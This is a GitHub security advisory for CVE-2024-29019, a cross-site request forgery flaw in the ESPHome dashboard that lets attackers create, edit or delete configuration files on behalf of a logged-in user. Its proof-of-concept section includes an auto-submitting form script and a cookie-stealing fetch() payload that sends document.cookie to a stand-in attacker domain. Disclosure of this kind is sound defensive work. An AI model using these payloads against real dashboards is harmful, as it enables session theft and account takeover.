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ESPHome vulnerable to Authentication bypass via Cross site request forgery

High severity GitHub Reviewed Published Mar 20, 2024 in esphome/esphome • Updated Apr 21, 2024

Package

pip esphome (pip)

Affected versions

>= 2023.12.9, < 2024.3.0

Patched versions

2024.3.0

Description

Summary

API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).

Details

It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.

PoC

An example of malicious web page that abuses this vulnerability:

<script>
document.forms[0].submit();
</script>

<script>
</script>

In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.

Example of such script:

<script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>

Impact

This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.

In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.

References

@jesserockz jesserockz published to esphome/esphome Mar 20, 2024
Published to the GitHub Advisory Database Mar 21, 2024
Reviewed Mar 21, 2024
Published by the National Vulnerability Database Apr 11, 2024
Last updated Apr 21, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-29019

GHSA ID

GHSA-5925-88xh-6h99

Source code

Credits

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